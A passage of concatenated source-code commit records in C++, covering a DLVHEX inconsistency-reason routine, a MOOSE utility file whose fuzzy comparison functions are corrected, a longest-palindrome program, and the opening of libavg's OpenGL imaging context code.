!b.isNaf())); domain->setFact(b.address); }\n instance.addNogood(ng);\n }\n SATSolverPtr classicalSolver = SATSolver::getInstance(ctx, instance \/*, domain*\/);\n\n \/\/ explanation atoms are all atoms from the domain which are not defined in the given program, i.e., which do not unify with a head atom in program\n\/*\n InterpretationPtr explanationAtoms(new Interpretation(ctx.registry()));\n en = domain->getStorage().first();\n en_end = domain->getStorage().end();\n while (en < en_end) {\n const OrdinaryAtom& datom = ctx.registry()->ogatoms.getByAddress(*en);\n\n bool definedInProgram = false;\n BOOST_FOREACH (ID ruleID, program.idb) {\n const Rule& rule = ctx.registry()->rules.getByID(ruleID);\n BOOST_FOREACH (ID hatomID, rule.head) {\n const OrdinaryAtom& hatom = ctx.registry()->lookupOrdinaryAtom(hatomID);\n if (datom.unifiesWith(hatom)) {\n definedInProgram = true;\n break;\n }\n en++;\n }\n }\n\n if (!definedInProgram) explanationAtoms->setFact(*en);\n }\n*\/\n DBGLOG(DBG, \"Explanation atoms: \" << *explAtoms);\n\n \/\/ compute the classical models and an inconsistency reason\n Nogood inconsistencyReason;\n InterpretationPtr alreadyPos(new Interpretation(ctx.registry()));\n InterpretationPtr alreadyNeg(new Interpretation(ctx.registry()));\n InterpretationConstPtr model;\n while ( (model = classicalSolver->getNextModel()) != InterpretationConstPtr() ) {\n \/\/ compatibility check\n bool verified = true;\n for (int eaIndex = 0; eaIndex < innerEatoms.size() && verified; ++eaIndex){\n BaseModelGenerator::VerifyExternalAtomCB vcb(model, ctx.registry()->eatoms.getByID(innerEatoms[eaIndex]), *(annotatedOptimizedProgram.getEAMask(eaIndex)));\n mg->evaluateExternalAtom(ctx, innerEatoms[eaIndex], model, vcb, ctx.config.getOption(\"ExternalLearning\") ? classicalSolver : NogoodContainerPtr());\n verified &= vcb.verify();\n }\n\n if (verified) {\n DBGLOG(DBG, \"Got classical model: \" << *model);\n\n \/\/ add a literal \"l\" over some explanation atom \"a\", where the sign of \"l\" is the opposite of \"a\"'s sign in the model\n en = explAtoms->getStorage().first();\n en_end = explAtoms->getStorage().end();\n while (en < en_end) {\n \/\/ we want an inconsistency reason which is currently violated\n if (unitInput->getFact(*en) != model->getFact(*en)) { en++; continue; }\n\n \/\/ Use its negation in the inconsistency explanation; this will either:\n \/\/ (i) prevent super sets of this model from becoming models of the program (namely if l=\"F a\"; then adding \"a\" as fact will eliminate the model because \"a\" must be true); or\n \/\/ (ii) ensure that there is a non-empty unfounded set (namely if l=T a); then *not* adding \"a\" as fact will leave \"a\" unfounded)\n if (model->getFact(*en)) {\n if (alreadyPos->getFact(*en)) { en++; continue; } \/\/ cannot use this literal because it needs to be added negatively but is already positive\n if (alreadyNeg->getFact(*en)) break; \/\/ needs to be added negatively and is already negative --> done\n DBGLOG(DBG, \"Adding -\" << printToString<RawPrinter>(ctx.registry()->ogatoms.getIDByAddress(*en), ctx.registry()) << \" to reason nogood\");\n inconsistencyReason.insert(NogoodContainer::createLiteral(*en, false));\n alreadyNeg->setFact(*en);\n\n \/\/ eliminate all models with this literal\n if (annotatedOptimizedProgram.getProgramMask()->getFact(*en)){\n Nogood ng;\n ng.insert(NogoodContainer::createLiteral(*en, true));\n DBGLOG(DBG, \"Adding nogood \" << ng.getStringRepresentation(ctx.registry()) << \" to solver\");\n classicalSolver->addNogood(ng);\n }\n break;\n }else{\n if (alreadyNeg->getFact(*en)) { en++; continue; } \/\/ cannot use this literal because it needs to be added positively but is already negative\n if (alreadyPos->getFact(*en)) break; \/\/ needs to be added positively and is already positive --> done\n DBGLOG(DBG, \"Adding \" << printToString<RawPrinter>(ctx.registry()->ogatoms.getIDByAddress(*en), ctx.registry()) << \" to reason nogood\");\n inconsistencyReason.insert(NogoodContainer::createLiteral(*en, true));\n alreadyPos->setFact(*en);\n\n \/\/ eliminate all models with this literal\n if (annotatedOptimizedProgram.getProgramMask()->getFact(*en)){\n Nogood ng;\n ng.insert(NogoodContainer::createLiteral(*en, false));\n DBGLOG(DBG, \"Adding nogood \" << ng.getStringRepresentation(ctx.registry()) << \" to solver\");\n classicalSolver->addNogood(ng);\n }\n break;\n }\n en++;\n }\n if (en == en_end) {\n \/\/ could not find a reason\n DBGLOG(DBG, \"No inconsistency reason found\");\n *haveInconsistencyReason = false;\n return Nogood();\n }\n }\n }\n DBGLOG(DBG, \"Found inconsistency reason: \" << inconsistencyReason.getStringRepresentation(ctx.registry()) << std::endl << \"for program \" << *gp.edb << std::endl << printManyToString<RawPrinter>(gp.idb, \"\\n\", ctx.registry()) << std::endl << \"wrt. explanation atoms \" << *explAtoms);\n *haveInconsistencyReason = true;\n return inconsistencyReason;\n}\n\nDLVHEX_NAMESPACE_END\n\n\/\/ vim:expandtab:ts=4:sw=4:\n\/\/ mode: C++\n\/\/ End:\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************\/\n\/* DO NOT MODIFY THIS HEADER *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment *\/\n\/* *\/\n\/* (c) 2010 Battelle Energy Alliance, LLC *\/\n\/* ALL RIGHTS RESERVED *\/\n\/* *\/\n\/* Prepared by Battelle Energy Alliance, LLC *\/\n\/* Under Contract No. DE-AC07-05ID14517 *\/\n\/* With the U. S. Department of Energy *\/\n\/* *\/\n\/* See COPYRIGHT for full restrictions *\/\n\/****************************************************************\/\n\n\/\/ STL includes\n#include <string>\n#include <vector>\n#include <map>\n#include <algorithm>\n#include <iostream>\n#include <fstream>\n#include <istream>\n#include <iterator>\n\n\/\/ MOOSE includes\n#include \"MooseError.h\"\n#include \"MaterialProperty.h\"\n\n\/\/ External includes\n#include \"pcrecpp.h\"\n\nnamespace MooseUtils\n{\n\nvoid\ntokenize(const std::string &str, std::vector<std::string> &elements, unsigned int min_len, const std::string &delims)\n{\n elements.clear();\n\n std::string::size_type last_pos = str.find_first_not_of(delims, 0);\n std::string::size_type pos = str.find_first_of(delims, std::min(last_pos + min_len, str.size()));\n\n while (last_pos != std::string::npos)\n {\n elements.push_back(str.substr(last_pos, pos - last_pos));\n \/\/ skip delims between tokens\n last_pos = str.find_first_not_of(delims, pos);\n if (last_pos == std::string::npos) break;\n pos = str.find_first_of(delims, std::min(last_pos + min_len, str.size()));\n }\n}\n\nvoid\nescape(std::string &str)\n{\n std::map<char, std::string> escapes;\n escapes['\\a'] = \"\\\\a\";\n escapes['\\b'] = \"\\\\b\";\n escapes['\\f'] = \"\\\\f\";\n escapes['\\n'] = \"\\\\n\";\n escapes['\\t'] = \"\\\\t\";\n escapes['\\v'] = \"\\\\v\";\n escapes['\\r'] = \"\\\\r\";\n\n for (std::map<char, std::string>::iterator it = escapes.begin(); it != escapes.end(); ++it)\n for (size_t pos=0; (pos=str.find(it->first, pos)) != std::string::npos; pos+=it->second.size())\n str.replace(pos, 1, it->second);\n}\n\n\nstd::string\ntrim(std::string str, const std::string &white_space)\n{\n std::string r = str.erase(str.find_last_not_of(white_space)+1);\n return r.erase(0,r.find_first_not_of(white_space));\n}\n\nbool pathContains(const std::string &expression,\n const std::string &string_to_find,\n const std::string &delims)\n{\n std::vector<std::string> elements;\n\n tokenize(expression, elements, 0, delims);\n\n std::vector<std::string>::iterator found_it = std::find(elements.begin(), elements.end(), string_to_find);\n if (found_it != elements.end())\n return true;\n else\n return false;\n}\n\nbool\ncheckFileReadable(const std::string & filename, bool check_line_endings, bool throw_on_unreadable)\n{\n std::ifstream in(filename.c_str(), std::ifstream::in);\n if (in.fail())\n {\n if (throw_on_unreadable)\n mooseError((std::string(\"Unable to open file \\\"\") + filename\n + std::string(\"\\\". Check to make sure that it exists and that you have read permission.\")).c_str());\n else\n return false;\n }\n\n if (check_line_endings)\n {\n std::istream_iterator<char> iter(in);\n std::istream_iterator<char> eos;\n in >> std::noskipws;\n while (iter != eos)\n if (*iter++ == '\\r')\n mooseError(filename + \" contains Windows(DOS) line endings which are not supported.\");\n }\n\n in.close();\n\n return true;\n}\n\nbool\ncheckFileWriteable(const std::string & filename, bool throw_on_unwritable)\n{\n std::ofstream out(filename.c_str(), std::ofstream::out);\n if (out.fail())\n {\n if (throw_on_unwritable)\n mooseError((std::string(\"Unable to open file \\\"\") + filename\n + std::string(\"\\\". Check to make sure that it exists and that you have write permission.\")).c_str());\n else\n return false;\n }\n\n\n\n out.close();\n\n return true;\n}\n\nvoid\nparallelBarrierNotify(const Parallel::Communicator & comm)\n{\n processor_id_type slave_processor_id;\n\n if (comm.rank() == 0)\n {\n \/\/ The master process is already through, so report it\n Moose::out << \"Jobs complete: 1\/\" << comm.size() << (1 == comm.size() ? \"\\n\" : \"\\r\") << std::flush;\n for (unsigned int i=2; i<=comm.size(); ++i)\n {\n comm.receive(MPI_ANY_SOURCE, slave_processor_id);\n Moose::out << \"Jobs complete: \" << i << \"\/\" << comm.size() << (i == comm.size() ? \"\\n\" : \"\\r\") << std::flush;\n }\n }\n else\n {\n slave_processor_id = comm.rank();\n comm.send(0, slave_processor_id);\n }\n\n comm.barrier();\n}\n\nbool\nhasExtension(const std::string & filename, std::string ext, bool strip_exodus_ext)\n{\n \/\/ Extract the extension, w\/o the '.'\n std::string file_ext;\n if (strip_exodus_ext)\n {\n pcrecpp::RE re(\".*\\\\.([^\\\\.]*?)(?:-s\\\\d+)?\\\\s*$\"); \/\/ capture the complete extension, ignoring -s*\n re.FullMatch(filename, &file_ext);\n }\n else\n {\n pcrecpp::RE re(\".*\\\\.([^\\\\.]*?)\\\\s*$\"); \/\/ capture the complete extension\n re.FullMatch(filename, &file_ext);\n }\n\n \/\/ Perform the comparision\n if (file_ext == ext)\n return true;\n else\n return false;\n}\n\nstd::pair<std::string, std::string>\nsplitFileName(std::string full_file)\n{\n \/\/ Error if path ends with \/\n if (full_file[full_file.size()-1] == '\/')\n mooseError(\"Invalid full file name: \" << full_file);\n\n \/\/ Define the variables to output\n std::string path;\n std::string file;\n\n \/\/ Locate the \/ sepearting the file from path\n std::size_t found = full_file.find_last_of(\"\/\");\n\n \/\/ If no \/ is found used \".\" for the path, otherwise seperate the two\n if (found == std::string::npos)\n {\n path = \".\";\n file = full_file;\n }\n else\n {\n path = full_file.substr(0, found);\n file = full_file.substr(found+1);\n }\n\n \/\/ Return the path and file as a pair\n return std::pair<std::string, std::string>(path, file);\n}\n\nstd::string\ncamelCaseToUnderscore(const std::string & camel_case_name)\n{\n string replaced = camel_case_name;\n \/\/ Put underscores in front of each contiguous set of capital letters\n pcrecpp::RE(\"(?!^)([A-Z]+)\").GlobalReplace(\"_\\\\1\", &replaced);\n\n \/\/ Convert all capital letters to lower case\n std::transform(replaced.begin(), replaced.end(), replaced.begin(), ::tolower);\n return replaced;\n}\n\nstd::string\nunderscoreToCamelCase(const std::string & underscore_name, bool leading_upper_case)\n{\n pcrecpp::StringPiece input(underscore_name);\n pcrecpp::RE re(\"([^_]*)(_|$)\");\n\n std::string result;\n std::string us, not_us;\n bool make_upper = leading_upper_case;\n while (re.Consume(&input, ¬_us, &us))\n {\n if (not_us.length() > 0)\n {\n if (make_upper)\n {\n result += std::toupper(not_us[0]);\n if (not_us.length() > 1)\n result += not_us.substr(1);\n }\n else\n result += not_us;\n }\n if (us == \"\")\n break;\n\n \/\/ Toggle flag so next match is upper cased\n make_upper = true;\n }\n\n return result;\n}\n\nstd::string\nshortName(const std::string & name)\n{\n return name.substr(name.find_last_of('\/') != std::string::npos ? name.find_last_of('\/') + 1 : 0);\n}\n\nbool\nabsoluteFuzzyEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (std::abs(var1 - var2) < tol);\n}\n\nbool\nabsoluteFuzzyGreaterEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (var1 > (var2 - tol));\n}\n\nbool\nabsoluteFuzzyGreaterThan(const Real & var1, const Real & var2, const Real & tol)\n{\n return (var1 > (var2 + tol));\n}\n\nbool\nabsoluteFuzzyLessEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (var1 < (var2 + tol));\n}\n\nbool\nabsoluteFuzzyLessThan(const Real & var1, const Real & var2, const Real & tol)\n{\n return (var1 < (var2 - tol));\n}\n\nbool\nrelativeFuzzyEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyEqual(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nbool\nrelativeFuzzyGreaterEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyGreaterEqual(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nbool\nrelativeFuzzyGreaterThan(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyGreaterThan(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nbool\nrelativeFuzzyLessEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyLessEqual(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nbool\nrelativeFuzzyLessThan(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyLessThan(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nvoid\nMaterialPropertyStorageDump(const HashMap<const libMesh::Elem *, HashMap<unsigned int, MaterialProperties> > & props)\n{\n \/\/ Define the iterators\n HashMap<const Elem *, HashMap<unsigned int, MaterialProperties> >::const_iterator elem_it;\n HashMap<unsigned int, MaterialProperties>::const_iterator side_it;\n MaterialProperties::const_iterator prop_it;\n\n \/\/ Loop through the elements\n for (elem_it = props.begin(); elem_it != props.end(); ++elem_it)\n {\n Moose::out << \"Element \" << elem_it->first->id() << '\\n';\n\n \/\/ Loop through the sides\n for (side_it = elem_it->second.begin(); side_it != elem_it->second.end(); ++side_it)\n {\n Moose::out << \" Side \" << side_it->first << '\\n';\n\n \/\/ Loop over properties\n unsigned int cnt = 0;\n for (prop_it = side_it->second.begin(); prop_it != side_it->second.end(); ++prop_it)\n {\n MaterialProperty<Real> * mp = dynamic_cast<MaterialProperty<Real> *>(*prop_it);\n if (mp)\n {\n Moose::out << \" Property \" << cnt << '\\n';\n cnt++;\n\n \/\/ Loop over quadrature points\n for (unsigned int qp = 0; qp < mp->size(); ++qp)\n Moose::out << \" prop[\" << qp << \"] = \" << (*mp)[qp] << '\\n';\n }\n }\n }\n }\n}\n\n} \/\/ MooseUtils namespace\n<commit_msg>Fix fuzzy functions closes #5408<commit_after>\/****************************************************************\/\n\/* DO NOT MODIFY THIS HEADER *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment *\/\n\/* *\/\n\/* (c) 2010 Battelle Energy Alliance, LLC *\/\n\/* ALL RIGHTS RESERVED *\/\n\/* *\/\n\/* Prepared by Battelle Energy Alliance, LLC *\/\n\/* Under Contract No. DE-AC07-05ID14517 *\/\n\/* With the U. S. Department of Energy *\/\n\/* *\/\n\/* See COPYRIGHT for full restrictions *\/\n\/****************************************************************\/\n\n\/\/ STL includes\n#include <string>\n#include <vector>\n#include <map>\n#include <algorithm>\n#include <iostream>\n#include <fstream>\n#include <istream>\n#include <iterator>\n\n\/\/ MOOSE includes\n#include \"MooseError.h\"\n#include \"MaterialProperty.h\"\n\n\/\/ External includes\n#include \"pcrecpp.h\"\n\nnamespace MooseUtils\n{\n\nvoid\ntokenize(const std::string &str, std::vector<std::string> &elements, unsigned int min_len, const std::string &delims)\n{\n elements.clear();\n\n std::string::size_type last_pos = str.find_first_not_of(delims, 0);\n std::string::size_type pos = str.find_first_of(delims, std::min(last_pos + min_len, str.size()));\n\n while (last_pos != std::string::npos)\n {\n elements.push_back(str.substr(last_pos, pos - last_pos));\n \/\/ skip delims between tokens\n last_pos = str.find_first_not_of(delims, pos);\n if (last_pos == std::string::npos) break;\n pos = str.find_first_of(delims, std::min(last_pos + min_len, str.size()));\n }\n}\n\nvoid\nescape(std::string &str)\n{\n std::map<char, std::string> escapes;\n escapes['\\a'] = \"\\\\a\";\n escapes['\\b'] = \"\\\\b\";\n escapes['\\f'] = \"\\\\f\";\n escapes['\\n'] = \"\\\\n\";\n escapes['\\t'] = \"\\\\t\";\n escapes['\\v'] = \"\\\\v\";\n escapes['\\r'] = \"\\\\r\";\n\n for (std::map<char, std::string>::iterator it = escapes.begin(); it != escapes.end(); ++it)\n for (size_t pos=0; (pos=str.find(it->first, pos)) != std::string::npos; pos+=it->second.size())\n str.replace(pos, 1, it->second);\n}\n\n\nstd::string\ntrim(std::string str, const std::string &white_space)\n{\n std::string r = str.erase(str.find_last_not_of(white_space)+1);\n return r.erase(0,r.find_first_not_of(white_space));\n}\n\nbool pathContains(const std::string &expression,\n const std::string &string_to_find,\n const std::string &delims)\n{\n std::vector<std::string> elements;\n\n tokenize(expression, elements, 0, delims);\n\n std::vector<std::string>::iterator found_it = std::find(elements.begin(), elements.end(), string_to_find);\n if (found_it != elements.end())\n return true;\n else\n return false;\n}\n\nbool\ncheckFileReadable(const std::string & filename, bool check_line_endings, bool throw_on_unreadable)\n{\n std::ifstream in(filename.c_str(), std::ifstream::in);\n if (in.fail())\n {\n if (throw_on_unreadable)\n mooseError((std::string(\"Unable to open file \\\"\") + filename\n + std::string(\"\\\". Check to make sure that it exists and that you have read permission.\")).c_str());\n else\n return false;\n }\n\n if (check_line_endings)\n {\n std::istream_iterator<char> iter(in);\n std::istream_iterator<char> eos;\n in >> std::noskipws;\n while (iter != eos)\n if (*iter++ == '\\r')\n mooseError(filename + \" contains Windows(DOS) line endings which are not supported.\");\n }\n\n in.close();\n\n return true;\n}\n\nbool\ncheckFileWriteable(const std::string & filename, bool throw_on_unwritable)\n{\n std::ofstream out(filename.c_str(), std::ofstream::out);\n if (out.fail())\n {\n if (throw_on_unwritable)\n mooseError((std::string(\"Unable to open file \\\"\") + filename\n + std::string(\"\\\". Check to make sure that it exists and that you have write permission.\")).c_str());\n else\n return false;\n }\n\n\n\n out.close();\n\n return true;\n}\n\nvoid\nparallelBarrierNotify(const Parallel::Communicator & comm)\n{\n processor_id_type slave_processor_id;\n\n if (comm.rank() == 0)\n {\n \/\/ The master process is already through, so report it\n Moose::out << \"Jobs complete: 1\/\" << comm.size() << (1 == comm.size() ? \"\\n\" : \"\\r\") << std::flush;\n for (unsigned int i=2; i<=comm.size(); ++i)\n {\n comm.receive(MPI_ANY_SOURCE, slave_processor_id);\n Moose::out << \"Jobs complete: \" << i << \"\/\" << comm.size() << (i == comm.size() ? \"\\n\" : \"\\r\") << std::flush;\n }\n }\n else\n {\n slave_processor_id = comm.rank();\n comm.send(0, slave_processor_id);\n }\n\n comm.barrier();\n}\n\nbool\nhasExtension(const std::string & filename, std::string ext, bool strip_exodus_ext)\n{\n \/\/ Extract the extension, w\/o the '.'\n std::string file_ext;\n if (strip_exodus_ext)\n {\n pcrecpp::RE re(\".*\\\\.([^\\\\.]*?)(?:-s\\\\d+)?\\\\s*$\"); \/\/ capture the complete extension, ignoring -s*\n re.FullMatch(filename, &file_ext);\n }\n else\n {\n pcrecpp::RE re(\".*\\\\.([^\\\\.]*?)\\\\s*$\"); \/\/ capture the complete extension\n re.FullMatch(filename, &file_ext);\n }\n\n \/\/ Perform the comparision\n if (file_ext == ext)\n return true;\n else\n return false;\n}\n\nstd::pair<std::string, std::string>\nsplitFileName(std::string full_file)\n{\n \/\/ Error if path ends with \/\n if (full_file[full_file.size()-1] == '\/')\n mooseError(\"Invalid full file name: \" << full_file);\n\n \/\/ Define the variables to output\n std::string path;\n std::string file;\n\n \/\/ Locate the \/ sepearting the file from path\n std::size_t found = full_file.find_last_of(\"\/\");\n\n \/\/ If no \/ is found used \".\" for the path, otherwise seperate the two\n if (found == std::string::npos)\n {\n path = \".\";\n file = full_file;\n }\n else\n {\n path = full_file.substr(0, found);\n file = full_file.substr(found+1);\n }\n\n \/\/ Return the path and file as a pair\n return std::pair<std::string, std::string>(path, file);\n}\n\nstd::string\ncamelCaseToUnderscore(const std::string & camel_case_name)\n{\n string replaced = camel_case_name;\n \/\/ Put underscores in front of each contiguous set of capital letters\n pcrecpp::RE(\"(?!^)([A-Z]+)\").GlobalReplace(\"_\\\\1\", &replaced);\n\n \/\/ Convert all capital letters to lower case\n std::transform(replaced.begin(), replaced.end(), replaced.begin(), ::tolower);\n return replaced;\n}\n\nstd::string\nunderscoreToCamelCase(const std::string & underscore_name, bool leading_upper_case)\n{\n pcrecpp::StringPiece input(underscore_name);\n pcrecpp::RE re(\"([^_]*)(_|$)\");\n\n std::string result;\n std::string us, not_us;\n bool make_upper = leading_upper_case;\n while (re.Consume(&input, ¬_us, &us))\n {\n if (not_us.length() > 0)\n {\n if (make_upper)\n {\n result += std::toupper(not_us[0]);\n if (not_us.length() > 1)\n result += not_us.substr(1);\n }\n else\n result += not_us;\n }\n if (us == \"\")\n break;\n\n \/\/ Toggle flag so next match is upper cased\n make_upper = true;\n }\n\n return result;\n}\n\nstd::string\nshortName(const std::string & name)\n{\n return name.substr(name.find_last_of('\/') != std::string::npos ? name.find_last_of('\/') + 1 : 0);\n}\n\nbool\nabsoluteFuzzyEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (std::abs(var1 - var2) < tol);\n}\n\nbool\nabsoluteFuzzyGreaterEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (var1 >= (var2 - tol));\n}\n\nbool\nabsoluteFuzzyGreaterThan(const Real & var1, const Real & var2, const Real & tol)\n{\n return (var1 > (var2 + tol));\n}\n\nbool\nabsoluteFuzzyLessEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (var1 <= (var2 + tol));\n}\n\nbool\nabsoluteFuzzyLessThan(const Real & var1, const Real & var2, const Real & tol)\n{\n return (var1 < (var2 - tol));\n}\n\nbool\nrelativeFuzzyEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyEqual(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nbool\nrelativeFuzzyGreaterEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyGreaterEqual(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nbool\nrelativeFuzzyGreaterThan(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyGreaterThan(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nbool\nrelativeFuzzyLessEqual(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyLessEqual(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nbool\nrelativeFuzzyLessThan(const Real & var1, const Real & var2, const Real & tol)\n{\n return (absoluteFuzzyLessThan(var1, var2, tol*(std::abs(var1)+std::abs(var2))));\n}\n\nvoid\nMaterialPropertyStorageDump(const HashMap<const libMesh::Elem *, HashMap<unsigned int, MaterialProperties> > & props)\n{\n \/\/ Define the iterators\n HashMap<const Elem *, HashMap<unsigned int, MaterialProperties> >::const_iterator elem_it;\n HashMap<unsigned int, MaterialProperties>::const_iterator side_it;\n MaterialProperties::const_iterator prop_it;\n\n \/\/ Loop through the elements\n for (elem_it = props.begin(); elem_it != props.end(); ++elem_it)\n {\n Moose::out << \"Element \" << elem_it->first->id() << '\\n';\n\n \/\/ Loop through the sides\n for (side_it = elem_it->second.begin(); side_it != elem_it->second.end(); ++side_it)\n {\n Moose::out << \" Side \" << side_it->first << '\\n';\n\n \/\/ Loop over properties\n unsigned int cnt = 0;\n for (prop_it = side_it->second.begin(); prop_it != side_it->second.end(); ++prop_it)\n {\n MaterialProperty<Real> * mp = dynamic_cast<MaterialProperty<Real> *>(*prop_it);\n if (mp)\n {\n Moose::out << \" Property \" << cnt << '\\n';\n cnt++;\n\n \/\/ Loop over quadrature points\n for (unsigned int qp = 0; qp < mp->size(); ++qp)\n Moose::out << \" prop[\" << qp << \"] = \" << (*mp)[qp] << '\\n';\n }\n }\n }\n }\n}\n\n} \/\/ MooseUtils namespace\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n#include <cstring>\nusing namespace std;\n\nvoid isPalin(const char *str) {\n int n = strlen(str);\n bool P[n][n];\n int i, j, L; \/\/ 表示字串的长度\n\n \/\/ 长度为1的都是回文\n for (i = 0; i < n; i++) {\n P[i][i] = true;\n }\n\n \/\/ 长度可能从2开始\n for (L = 2; L <= n; L++) {\n for (i = 0; i < n - L + 1; i++) {\n j = i + L - 1; \/\/ 设置结束的位置\n if (L == 2) \/\/ 长度为2的情况\n P[i][j] = (str[i] == str[j]);\n else \/\/其他情况\n P[i][j] = (str[i] == str[j]) && P[i + 1][j - 1];\n }\n }\n\n int maxi = 0, maxj = 0, maxlen = 0;\n for (i = 0; i < n; i++) {\n for (j = i; j < n; j++) {\n if (P[i][j] && maxlen < j - i + 1) {\n maxi = i;\n maxj = j;\n maxlen = j - i + 1;\n }\n }\n }\n\n printf(\"The longest palin substr is \");\n for(i = maxi; i <= maxj; i++) {\n printf(\"%c\", str[i]);\n }\n printf(\", maxlen is %d\\n\\n\", maxlen);\n\n cout << string(str + maxi, maxlen) << endl;\n\n return;\n}\n\nint main() {\n \/\/isPalin(\"abccba\");\n isPalin(string(\"abccba\").c_str());\n\n}\n<commit_msg>add time space description<commit_after>#include <iostream>\n#include <string>\n#include <cstring>\nusing namespace std;\n\n\/\/ Manacher算法,时间复杂度O(n), 空间复杂度O(n)\n\n\/\/ DP: Time O(n^2) Space O(n^2)\nvoid isPalin(const char *str) {\n int n = strlen(str);\n bool P[n][n];\n int i, j, L; \/\/ 表示字串的长度\n\n \/\/ 长度为1的都是回文\n for (i = 0; i < n; i++) {\n P[i][i] = true;\n }\n\n \/\/ 长度可能从2开始\n for (L = 2; L <= n; L++) {\n for (i = 0; i < n - L + 1; i++) {\n j = i + L - 1; \/\/ 设置结束的位置\n if (L == 2) \/\/ 长度为2的情况\n P[i][j] = (str[i] == str[j]);\n else \/\/其他情况\n P[i][j] = (str[i] == str[j]) && P[i + 1][j - 1];\n }\n }\n\n int maxi = 0, maxj = 0, maxlen = 0;\n for (i = 0; i < n; i++) {\n for (j = i; j < n; j++) {\n if (P[i][j] && maxlen < j - i + 1) {\n maxi = i;\n maxj = j;\n maxlen = j - i + 1;\n }\n }\n }\n\n printf(\"The longest palin substr is \");\n for(i = maxi; i <= maxj; i++) {\n printf(\"%c\", str[i]);\n }\n printf(\", maxlen is %d\\n\\n\", maxlen);\n\n cout << string(str + maxi, maxlen) << endl;\n\n return;\n}\n\nint main() {\n \/\/isPalin(\"abccba\");\n isPalin(string(\"abccba\").c_str());\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ libavg - Media Playback Engine. \n\/\/ Copyright (C) 2003-2008 Ulrich von Zadow\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\/\/\n\/\/ Current versions can be found at www.libavg.de\n\/\/\n\n#include \"OGLImagingContext.h\"\n\n#include \"..\/base\/Exception.h\"\n\n#include <assert.h>\n#include <iostream>\n\nnamespace avg {\n\nusing namespace std;\n\n#ifdef _WIN32\nLONG WINAPI imagingWindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)\n{ \n return DefWindowProc(hwnd, msg, wParam, lParam); \n} \n\nvoid registerWindowClass()\n{\n static char * pClassName;\n if (pClassName) {\n return;\n }\n pClassName = \"GLUT\";\n\n HINSTANCE hInstance = GetModuleHandle(NULL);\n WNDCLASS wc;\n memset(&wc, 0, sizeof(WNDCLASS));\n wc.style = CS_OWNDC;\n wc.lpfnWndProc = (WNDPROC)imagingWindowProc;\n wc.hInstance = hInstance;\n wc.hIcon = LoadIcon(NULL, IDI_WINLOGO);\n wc.hCursor = LoadCursor(hInstance, IDC_ARROW);\n wc.hbrBackground = NULL;\n wc.lpszMenuName = NULL;\n wc.lpszClassName = pClassName;\n \n BOOL bOK = RegisterClass(&wc);\n assert(bOK);\n}\n#endif\n\nOGLImagingContext::OGLImagingContext(const IntPoint & size)\n{\n#ifdef __APPLE__\n GLint attributes[] = {AGL_RGBA, AGL_ALL_RENDERERS,AGL_NONE};\n AGLPixelFormat format;\n format = aglChoosePixelFormat(NULL, 0, attributes);\n assert(format);\n\n m_Context = aglCreateContext(format, NULL);\n assert(m_Context);\n aglDestroyPixelFormat(format);\n\n bool bOk = aglSetCurrentContext(m_Context);\n assert (bOk);\n#else\n#ifdef linux\n Display *dpy;\n dpy = XOpenDisplay(0);\n XVisualInfo *vi;\n static int attributes[] = {GLX_RGBA, 0};\n vi = glXChooseVisual(dpy, DefaultScreen(dpy), attributes);\n m_Context = glXCreateContext(dpy, vi, 0, GL_TRUE);\n assert(m_Context);\n Pixmap pmp = XCreatePixmap(dpy, RootWindow(dpy, vi->screen),\n 8, 8, vi->depth);\n GLXPixmap pixmap = glXCreateGLXPixmap(dpy, vi, pmp);\n glXMakeCurrent(dpy, pixmap, m_Context);\n#else\n#ifdef _WIN32\n registerWindowClass();\n m_hwnd = CreateWindow(\"GLUT\", \"GLUT\",\n WS_CLIPSIBLINGS | WS_CLIPCHILDREN,\n 0, 0, 500, 300, 0, 0, GetModuleHandle(NULL), 0);\n winOGLErrorCheck(m_hDC != 0, \"CreateWindow\");\n \n m_hDC = GetDC(m_hwnd);\n winOGLErrorCheck(m_hDC != 0, \"GetDC\");\n\n PIXELFORMATDESCRIPTOR pfd;\n 